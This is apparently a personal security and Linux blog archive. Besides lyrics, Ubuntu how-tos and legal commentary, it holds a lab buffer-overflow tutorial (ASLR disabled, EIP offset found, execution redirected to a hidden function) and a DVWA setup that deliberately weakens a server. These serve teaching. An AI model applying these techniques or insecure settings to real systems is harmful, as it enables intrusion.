Saturday, July 13, 2019

Miley Cyrus - The Backyard Sessions - "Jolene"






"Jolene"
(originally by Dolly Parton)

Jolene, Jolene, Jolene, Jolene
Oh, I'm begging of you please don't take my man
Jolene, Jolene, Jolene, Jolene
Please don't take him even though you can

Your beauty is beyond compare
With flaming locks of auburn hair
With ivory skin and eyes of emerald green

Your smile is like a breath of spring
Your skin is soft like summer rain
And I can not compete with you, Jolene

And I could easily understand
How you could easily take my man
But you don't know what he means to me, Jolene

He talks about you in his sleep
There's nothing I can do to keep
From crying, when he calls your name, Jolene, Jolene

Jolene, Jolene, Jolene, Jolene
Please don't take him even though you can
Jolene, Jolene, Jolene, Jolene
Please don't take him even though you can

I had to have this talk with you
My happiness depends on you
And whatever you decide to do, Jolene

And you could have your choice of men
But I could never love again
Cause he's the only one for me, Jolene, Jolene

Jolene, Jolene, Jolene, Jolene
Oh, I'm begging of you please don't take my man
Jolene, Jolene, Jolene, Jolene
Please don't take him even though you can
Jolene, Jolene...


Sunday, July 07, 2019

挑战不可能

18 年带出 2000 余名狙击手 高级狙击技师百步穿杨



天眼狙击手还原高难度场景 神枪手在线演绎军事大片



“猎鹰突击队” 女特警展神技



95 后 “女枪神” 郭子睿和教官李知雨合作击落动态目标 刷新个人纪录



两位女狙击手巅峰对决 现场气氛剑拔弩张



十年坦克兵挑战 270 度坦克漂移 燃爆全场



特战队员 1.70 秒 5 发子弹全部命中目标 终极挑战中角逐“极速枪王”



Friday, July 05, 2019

白帽子乎?!



二零一八年十月廿九日,廿七歲的陳子恩發現香港航空公司 (Hong Kong Airlines) 登機證的網址有敏感資料外洩 (學名為 Insecure Direct Object Reference,IDOR) 漏洞,可以任意讀取其他客戶的資料。他辯稱曾聯絡香港航空公司報告有關其漏洞,但未獲正視,所以向傳媒披露。

同日,傳媒隨即向該公司查詢,該公司職員發現陳某曾經在未獲授權的情況下讀取其中一個客戶的資料。 該公司立即報案。經調查後,陳某被控以「電訊條例」的有關罪行。

他在庭上辯護說他發現漏洞,但未被正視,如果這情況在外國,或者是白帽子的話,他就會得到獎賞,但是他卻被檢控有關罪行,覺得不公平和「司法滋擾」。 最後,陳某在二零一九年七月三日被判有罪,准以自簽一千五百港元,守行為一年了事。

現在分析和研究一下陳某是否犯法和其辯護的理由是否合理。

首先白帽子是指「道德黑客」其在書面授權的情況下進行滲透測試 (Penetrating Testing)。若果所謂的白帽子,並不在書面授權之下進行滲透測試,他就是犯法,顧名思義就是黑帽子。 至於獎賞,如果目標的公司或機構是舉行或參與獎賞計劃 (Bug Bounty) 的話,所有參與滲透測試的人員都是在書面授權的情況下操作,如果白帽子有所發現,他們就得到其應有的獎賞。

所以重點就是否在書面授權的情況下進行滲透測試。以這個案例來說,陳某並非在書面授權的情況下進行滲透測試,所以他是觸犯法例的,這情況亦包括外國的其他國家。

最後,我個人認為,陳某是輕判了!請各位不要以身試法。 所謂獎賞是非必然的。

Samiux
OSCE OSCP OSWP
二零一九年七月四日,中國香港

參考資料

東網新聞

頭條新聞

維基百科


Sunday, June 30, 2019

HOWTO : Upgrade Ubuntu 18.04.x LTS to 19.04 Directly

Upgrade Ubuntu 18.04.x LTS to 19.04 directly without via 18.10. Make sure do not upgrade it via SSH.

sudo sed -i 's/Prompt\=lts/Prompt=normal/g' /etc/update-manager/release-upgrades
sudo sed -i 's/bionic/disco/g' /etc/apt/sources.list
sudo sed -i 's/bionic/disco/g' /etc/apt/sources.list.d/*.list
sudo sed -i 's/18\.04/19.04/g' /etc/apt/sources.list.d/*.list
sudo apt update
sudo apt upgrade
sudo apt dist-upgrade
sudo apt autoclean
sudo apt autoremove


That's all! See you.


Monday, June 24, 2019

Recon Me If You Can (2019)!

Reconnaissance (Recon) is the most important phase in hacking. If you have insufficient information of the target, you cannot launch any attack on it.

Does your Intrusion Detection and Prevention System (IDPS), Firewall, Unified Threat Management System (UTM) and etc can achieve reconnaissance evasion?



That's all! See you.


Sunday, June 16, 2019

HOWTO : Solve libssl1.1 Installation Problem On Ubuntu 18.04.2 LTS

Since the current version of libssl1.1 is 1.1.1 on Ubuntu 18.04.2, the previous installed 1.1.0 may caused problem when you are upgrading or updating the system. You need to do the following to solve the problem.

ls -l /var/lib/dpkg/info | grep -i libssl

When you see both 1.1.0 and 1.1.1, you need to do the following :

sudo mv /var/lib/dpkg/info/libssl* /tmp

sudo apt-get update
sudo apt-get -y dist-upgrade
sudo apt-get -y autoclean
sudo apt-get -y autoremove


The problem should be solved.

That's all! See you.


Monday, June 03, 2019

HOWTO : Install Keras On Nvidia Jetson Nano Developer Kit

To install JetPack 4.2 on Nvidia Jetson Nano Developer Kit, you need to follow this link.

Since JetPack 4.2 is using Ubuntu 18.04 instead of Ubuntu 18.04.2, Unity is installed by default. I prefer to uninstall Unity and get back the GNOME 3.

sudo apt update
sudo apt -y dist-upgrade
sudo apt remove unity-session unity
sudo apt install -y ubuntu-session gdm3 firefox gparted chrome-gnome-shell gnome-tweak-tool nano
sudo apt -y autoclean
sudo apt -y autoremove


Reboot the box.

If you have ownCloud :

sudo apt install -y owncloud-client

** owncloud requires you to enter password every time when boot.

To install Gnome Shell Extensions :

Harddisk LED to display the activity of the hard drive/SSD. It is recommended for this developer kit.

To set "Problem Reporting" to "Automatic" at "Privacy" of "Settings" in order to prevent unexpected popup windows.

To install Keras :

sudo apt-get install libhdf5-serial-dev hdf5-tools
sudo apt install -y python3-pip python3-dev python3-scipy
sudo apt-get install zlib1g-dev zip libjpeg8-dev libhdf5-dev

sudo pip3 install -U pip
sudo pip3 install -U numpy grpcio absl-py py-cpuinfo psutil portpicker six mock requests gast h5py astor termcolor

sudo pip3 install --extra-index-url https://developer.download.nvidia.com/compute/redist/jp/v42 tensorflow-gpu

sudo pip3 install -U keras


To test if it works or not :

python3

>>> import keras

If there is no error message and showing "Using TensorFlow backend.", it works. To quit it :

>>> quit()

If you want to create swap file, you may need to use this resources.

That's all! See you.





Monday, May 20, 2019

轉念反思 - 楊和生 (Sang Young)

凡事總有兩面。網絡世界有利用網絡犯罪的「黑帽黑客」,亦有保衛網絡的「白帽黑客」,兩者同時懂得黑客技術。但原來最大的技術不是技術層面上,而是捉摸人性心態。盲目瘋傳訊息往往助長黑客的氣焰,只要抱持懷疑態度,敢於質詢,不用特別技術,我們都可以終止一切謠言。



Thursday, May 16, 2019

HOWTO : Exploit Education - Phoenix on Kali Linux Rolling

apt install qemu-system

wget https://github.com/ExploitEducation/Phoenix/releases/download/v1.0.0-alpha-3/exploit-education-phoenix-amd64-v1.0.0-alpha-3.tar.xz

tar -xJvf exploit-education-phoenix-amd64-v1.0.0-alpha-3.tar.xz

cd exploit-education-phoenix-amd64

chmod +x boot-exploit-education-phoenix-amd64.sh


To run the virtual machine :

./boot-exploit-education-phoenix-amd64.sh

Open another terminal :

ssh -p 2222 user@localhost

The password is "user".

Inside the virtual machine, go to :

cd /opt/phoenix

You can choose either "amd64" or "i486" to do the Phoenix exploits.

cd /opt/phoenix/amd64

or

cd /opt/phoenix/i486

That's all! See you.


Thursday, May 09, 2019

Basic Buffer Overflow Exploit Make Easy



According to Wiki, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations.

When buffer overflow occurs, attacker can run malicious code accordingly and may escalate the privilege as a result.

I introduce a very simple way to develop the buffer overflow exploit. No complicated procedure can be observed. The exploit development is running on 64-bit Kali Linux.

The following is the C source code of the "vuln.c" :



The "hacker" function is never be called from the program. Our aim is to run it as a result.

To compile the source to an executable :

gcc vuln.c -o vuln -fno-stack-protector -m32

If you cannot compiile to 32-bit, please install the following package :

apt install gcc-multilib

To make it simple, we disable the Address Space Layout Randomization (ASLR) :

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

In order to inspect the executable file, we need to download a tool namely "checksec.sh".

wget https://www.trapkit.de/tools/checksec.sh

Since the file is in Windows DOS format, we need to change it to be Unix format and executable :

dos2unix checksec.sh
chmod +x checksec.sh


Run the following command and you will find out that "NX" is enabled.

./checksec.sh --file vuln



To double check the file is compiled into 32-bit.

file vuln

vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=bc2907521e9842167e7544516653843949dabc9e, not stripped

When everything is alright, we run it to see how it works.

./vuln

What is your name?
samiux
Hey samiux, you're harmless, aren't you?

To see if we can crash it or not with 50 characters :

python -c 'print("A"*50)' > a.txt

cat a.txt | ./vuln

What is your name?
Hey AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, you're harmless, aren't you?
Segmentation fault

Okay, it does crash. Now, we fire up the gdb to do the exploit development :

gdb ./vuln



Feed in the junk characters.

(gdb) r < a.txt



The program is crashed as expected.

We check with the registers to see what had happened.

(gdb) info registers



We noticed that the EIP is overwritten with "A". That means, we can control the EIP then. Once EIP can be controlled, we can run any code from that point. It is because EIP Instruction Pointer Register always contains the address of the next instruction to be executed.

Now, we need to find out how many junk characters to cause the crash. We use the "pattern_create.rb" to create a unique pattern.

Open another terminal and run :

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50 > b.txt

We feed the unique pattern to the program.

(gdb) r < b.txt



The program is crashed again as expected.

We check the registers again and found out that EIP is overwritten with "0x41346241".

(gdb) info registers



We use the tool namely "pattern_offset.rb" to find out the offset. The offset is 42 for this case.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41346241
[*] Exact match at offset 42

According to the source code, we know that there are 3 functions, they are main, inSecure and hacker. Our aim here is to run hidden function "hacker". So, we need to find out the address of the function of hacker.

(gdb) info functions



(gdb) disass hacker



We find out that the address of function hacker is "0x565561b9".

Now, the payload will be as the following :

42's "A" and [the address of hacker function]

The PoC Python code "poc.py" :



Exploit it now :

python poc.py | ./vuln

What is your name?
Hey AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�aUV, you're harmless, aren't you?
No, I'm a hacker!
Segmentation fault

The hidden hacker function is ran as a result.


Bonus

To find the EIP address :

python -c 'print("A"*42)+ "B"*4' > c.txt

(gdb) r < c.txt



(gdb) info registers



(gdb) x/50xw $esp -100



The EIP address is 0xffffd32c.


Samiux
OSCE OSCP OSWP
May 9, 2019, Hong Kong, China

Wednesday, May 08, 2019

Exploit Education - Phoenix (Stack Overflows)

Exploit Education is formerly Exploit Exercise. They have a series of exploit exercises. The new release is Phoenix which covers the following topics :

- Network programming
- Stack overflows
- Format string vulnerabilities
- Heap overflows

I do the Stack overflows (i486) section recently. However, I cannot solve Stack-Six as it is too difficult for me at the moment.

You can download the virtual machine at here. The current image is v1.0.0-alpha-3 and released on 16th January 2019.

For not being a spoiler, the exploit codes are not shown in the video.



That's all! See you.


Thursday, May 02, 2019

VulnHub - Stack Overflows for Beginners 1

Stack Overflows for Beginners 1 is created by Jack Barradell-Johns who is a university student of University of Sheffield. He developed this box for Ethical Hacking Society of the university.

There are 5 flags (including root flag) to capture that are based on basic stack buffer overflow. The box is built on Kali Linux and is about 8 GB to download.

The first level is level0 and the username and password are both "level0".


To avoid for being spoiler, the flags and exploit codes are not shown in the video.




Samiux
OSCE OSCP OSWP
May 2, 2019 Hong Kong, China


Wednesday, April 24, 2019

HUAWEI MateBook X Pro on Ubuntu Desktop 18.04.2 LTS

CPU - Intel Core i7-8550U
RAM - 16GB LPDDR3
SSD - 512GB NVMe PCIe SSD
Thunderbolt 3 - USB Type C
Display - 13.9 inches LTPS Touchscreen (3,000 x 2,000) (260 PPI)
Graphic - nVidia M150 and Intel HD Graphic on CPU
F2 key - UEFI BIOS
F12 key - Boot list

This is 2018 model. The 2019 (HUAWEI MateBook X Pro New) is not available here at the moment.

If you want to, you need to update BIOS on Windows 10 environment before installing Ubuntu. To update it, just download the driver and install the ".INF".

You can install Ubuntu Desktop 18.04.2 LTS on HUAWEI MateBook X Pro without any problem no matter "Secure Boot" is enable or not. However, it cannot be shutdown or reboot properly unless you installed nVidia display driver on it.

Make sure the "Problem Reporting" is set to "Automatic" at "Privacy" of "Settings" under the top right hand conner.

Meanwhile, you may need to install "net-tools" for seeing the settings of the network interfaces.

sudo apt install net-tools

nVidia Display Driver

You can install the latest nVidia Open Source Display Driver version 418 on it via Ubuntu PPA. VirtualBox 6.0.6 guest VM requires newer version of nVidia display driver. I tested it with version 319 but the guest vm cannot be refreshed properly near the mouse pointer.

sudo add-apt-repository ppa:graphics-drivers/ppa
sudo apt-get update


(if you have older version of nVidia driver, delete it first)
sudo apt purge nvidia*

sudo apt install nvidia-driver-418 nvidia-settings


GNOME Extensions

GNOME Extensions are very useful. I recommend you to install the following for this laptop.

sudo apt chrome-gnome-shell gnome-tweak

Go to the "https://extensions.gnome.org/" to install extensions by clicking the "ON/OFF" button on the Extensions pages.

EasyScreenCast to record the screen in video format.

OpenWeather to see the current weather of your location.

CPUfreq to change the CPU between "powersave" or "performance" as well as "Turbo Boost".

VirtualBox Applet for easy access the VirtualBox virtual machines when VirtualBox is installed.

Extension Update Notifier to notifiy you about the update of Extensions.

Caffeine to disable and enable the screen saver.

Clipboard Indicator to manage your copy and paste clipboard data.

Lock Keys to indicate the "Nums" and "CapLock" keys status.

Harddisk LED to display the activity of the hard drive/SSD.

That's all! See you.


Wednesday, March 20, 2019

中國香港網絡罪行硏究



中國香港對於網絡罪行的法例比較分散,它們分佈在電訊條例、刑事罪行條例和盜竊罪條例中。我嘗試以我有限的法律知識去硏究一下中國香港的網絡罪行的法例,這純粹是我個人的意見,並不代表香港政府和香港警務處的立場。

以下的硏究是假設在沒有受攻擊方的書面同意書或授權書下地進行。

掃描器

大多數國家及地方都視掃描活動為犯法。至於中國香港又如何呢?

掃描器 (Scanner) 大致有分漏洞掃描器 (Vulnerability Scanner) 和端口掃描器 (Port Scanner) 兩大類。漏洞掃描器又大致有分網絡漏洞掃描器 (Network Vulnerability Scanner) 及網站漏洞掃描器 (Web Application Vulnerability Scanner) 兩大類。在搜證方面,我個人認為端口掃描器的活動比較難搜集證據,而最容易的是網站漏洞掃描器;至於網絡漏洞掃描器就介乎兩者之間。

基於網站漏洞掃描器的活動有可能影響和干擾網站的正常運作,這就有可能觸犯刑事毀壞罪 (Criminal Damage)。而網絡漏洞掃描器活動的影響和干擾相對比較少,但因搜證也不難,所以漏洞掃描器活動亦都有可能觸犯刑事毀壞罪。至於端口掃描活動相對對目標機器的影響和干擾極之少,但並不代表端口掃描活動不犯法,只是搜證比較困難罷了。

阻斷服務或分佈式阻斷服務攻擊

阻斷服務 (Denial of Service, DoS) 和分佈式阻斷服務 (Distributed Denial of Service, DDoS) 攻擊非常明顯地影響和干擾目標機器的正常運作,而且搜證也不太難,所以這活動有可能觸犯了刑事毀壞罪。

域名非法跳轉和跨站腳本攻擊

當網域名稱系統 (Domain Name Service, DNS) 被脅持或網站的跨站腳本 (Cross Site Scripting, XSS) 漏洞被利用,網站可能會被這樣的活動而非接觸式地被改頭換面 (Defacing)。

這活動亦有可能觸犯了刑事毀壞罪或不誠實使用電腦罪 (Obtaining Access Computer with Criminal or Dishonest Intent),雖然在搜集證據上有一定的困難。

以上的例子在一般大眾是比較難理解的,所以在此列舉作出硏究,以免觸犯法律而不自知。所以掃描目標機器、阻斷服務攻擊和域名跳轉是有可能觸犯香港法例的。


Samiux
OSCE OSCP OSWP
二零一九年三月廿日,中國香港

参考資料

香港法例第二百章 刑事罪行條例 第五十九及六十節
香港法例第二百章 刑事罪行條例 第一六一節


Tuesday, March 19, 2019

中華人民共和國網絡安全法精選



二零一六年十一月七日通過,並於二零一七年六月一日施行的「中華人民共和國網絡安全法」(下稱「網絡安全法」),一共有七十九條,涵蓋範圍甚廣,由國家至人民,由商業到關鍵基礎設施,由我國至國際都有講述。

以下精選一些與我們 (人民) 有關的條例講述一下,從而了解「網絡安全法」要求網絡使用者的義務和責任。其餘的條文是有關網絡產品、服務提供者和關鍵基礎設施部門在「網絡安全法」的責任和義務,有關法例的理念和罰則亦有提及。以下條文是原文照錄。

第十二條 - 網絡活動參與者的權利和義務

國家保護公民、法人和其他組織依法使用網絡的權利,促進網絡接入普及,提升網絡服務水平,為社會提供安全、便利的網絡服務,保障網絡信息依法有序自由流動。

任何個人和組織使用網絡應當遵守憲法法律,遵守公共秩序,尊重社會公德,不得危害網絡安全,不得利用網絡從事危害國家安全、榮譽和利益,煽動顛覆國家政權、推翻社會主義制度,煽動分裂國家、破壞國家統一,宣揚恐怖主義、極端主義,宣揚民族仇恨、民族歧視, 傳播暴力、淫褻色情訊息,編造、 傳播虛假信息擾亂經濟秩序和社會秩序,以及侵害他人名譽、私隱、知識產權和其他合法權益等活動。

第二十條 - 網絡安全人才培養

國家支持企業和高等學校、職業學校等教育培訓機構開展網絡安全相關教育與培訓, 採取多種方式培養網絡安全人才,促進網絡安全人才交流。

第二十二條 - 網絡產品和服務提供者的安全義務

網絡產品、服務應當符合相關國家標準的強制性要求。網絡產品、服務的提供者不得設置惡意程序;發現其網絡產品、服務存在安全缺陷、漏洞等風險時,應當立即採取補救措施,按照規定及時告知用戶並向有關主管部門報告。

網絡產品、服務的提供者應當為其產品、服務持續提供安全維護;在規定或者當事人約定的期限內,不得終止提供安全維護。

網絡產品、服務具有收集用戶信息功能的,其提供者應向用戶明示並取得同意;涉及用戶個人信息的,還應遵守本法和有關法律、行政法規關於個人信息保護的規定。

第二十七條 - 禁止危害網絡安全的行為

任何個人和組織不得從事非法侵入他人網絡、干擾他人網絡正常功能、竊取網絡數據等危害網絡安全的活動;不得提供專門用於從事侵入網絡、干擾網絡正常功能及防護措施、竊取網絡數據等危害網絡安全活動的程序、工具;明知他人從事危害網絡安全的活動的,不得為其提供技術支持、廣告推廣、支持結算等幫助。

第二十八條 - 網絡運營者的技術支持和協助義務

網絡運營者應當為公安機關、國家安全機關依法維護國家安全和偵查犯罪的活動提供技術支持和協助。

第三十條 - 執法訊息用途限制

網信部門和有關部門在履行網絡安全保護職責中獲取的信息,只能用於維護網絡安全的需要,不得用於其他用途。

第四十一條 - 個人信息收集使用規則

網絡運營者收集、使用個人信息,應當遵循合法、正當、必要的原則,公開收集,使用規則,明示收集、使用信息的目的、方式和範圍,並經被收集者同意。

網絡運營者不得收集與其提供的服務無關的個信息,不得違反法律、行政法規的規定和雙方的約定收集、使用個人信息,並應當依照法律、行政法規的規定和與用戶的約定,處理其保存的個人信息。

第四十二條 - 網絡運營者的個人信息保護義務

網絡運營者不得洩露、篡改、毀損其收集的個人信息;未經被收集者同意,不得向他人提供個人信息。但是,經過處理無法識別特定個人且不能復原的除外。

網絡運營者應當採取技術措施和其他必要措施,確保其收集的個人信息安全,防止信息洩露、毀損、掉失。在發生或者可能發生個人信息洩露、損毀、掉失的情況時,應當立即採取補救措施,按照規定及時告知用戶並向有關主管部門報告。

第四十六條 - 禁止利用網絡從事與違法犯罪相關的活動

任何個人和組織應當對其使用網絡的行為負責,不得設立用於實施詐騙,傳授犯罪方法,制作或者銷售違禁物品、管制物品等違法犯罪活動的網站、通訊群組,不得利用網絡發佈涉及實施詐騙,制作或者銷售違禁物品、管制物品及其他違法犯罪活動的信息。

第四十七條 - 網絡運營者處理違法信息的義務

網絡運營者應當加強對其用戶發佈的信息的管理,發現法律、行政法規禁止發佈或者傳輸的信息的,應當立即停止傳輸該信息,採取消除等處置措施,防止信息擴散,保存有關記錄,並向有關主管部門報告。

第四十八條 - 電子信息和應用軟件的信息安全要求及其提供者處置違法信息的義務

任何個人和組織發送的電子信息、提供的應用軟件,不得設置惡意程序,不得含有法律、行政法規禁止發佈或者傳輸的信息。

電子信息發送服務提供者和應用軟件下載服務提供者,應當履行安全管理義務,知道其用戶有前款規定行為的,應當停止提供服務,採取消除等處置措施,保存有關記錄,並向有關主管部門報告。

第六十三、六十四、六十七、七十四及七十五條是講述有關罰則,這裡不便詳細描述。

「網絡安全法」涵蓋的範圍甚廣,包括個人信息收集處理,個人私隱處理,網絡犯罪等行為,以及網絡產品不可以有惡意程序等都有包含。可見此「網絡安全法」是非常文明和先進,而且撰寫此法例的人員具有高度的電腦知識。

本文只講述對我們人民息息相關的條文,至於其他條文請參閱「網絡安全法」。最後,本文是参考「中華人民共和國網絡安全法」實用版一書。


Samiux
OSCE OSCP OSWP
二零一九年三月十九日,中國香港

Tuesday, March 05, 2019

HOWTO : Install DVWA on Ubuntu 18.04.1 LTS

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.


Step 1 :

sudo apt install php7.2 php7.2-gd php-mysql mysql-server apache2 git

Set the MySQL server password as prompt.

Step 2 :

sudo mysql -u root -p

CREATE DATABASE dvwadb;

GRANT ALL PRIVILEGES ON dvwadb.* TO ‘dvwa’@’localhost’ IDENTIFIED BY ‘dvwapassword’;


Step 3 :

sudo nano /etc/php/7.2/apache2/php.ini

Change the "Off" to "On" :

allow_url_include = On

Step 4 :

cd /var/www/html

sudo git clone https://github.com/ethicalhack3r/DVWA.git

cd /var/www/html/DVWA

sudo chmod 777 /var/www/html/DVWA/config
sudo chmod 666 /var/www/html/DVWA/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt
sudo chmod 777 /var/www/html/DVWA/hackable/uploads/


Step 5 :

sudo nano /etc/apache2/sites-enabled/000-default.conf

Append "/DVWA" as the end of "/var/www/html" :

DocumentRoot /var/www/html/DVWA

Step 6 :

sudo cp /var/www/html/DVWA/config/config.inc.php.dist /var/www/html/DVWA/config/config.inc.php

sudo nano /var/www/html/DVWA/config/config.inc.php


Make changes as the following :

$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwadb';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'dvwapassword';


Step 7 :

Go to https://www.google.com/recaptcha/admin to generate the keys for 'Insecure CAPTCHA' module and add to the related items at "config.inc.php".

Step 8 :

sudo systemctl restart apache2

Step 9 :

http://[server_ip_address]

The username is "admin" while the password is "password".

Beware that the DVWA is vulnerable and do not allow it to be accessed via public.

Step 10 (Optional) :

sudo apt install php7.2-fpm

sudo a2enmod proxy_fcgi setenvif
sudo a2enconf php7.2-fpm


That's all! See you.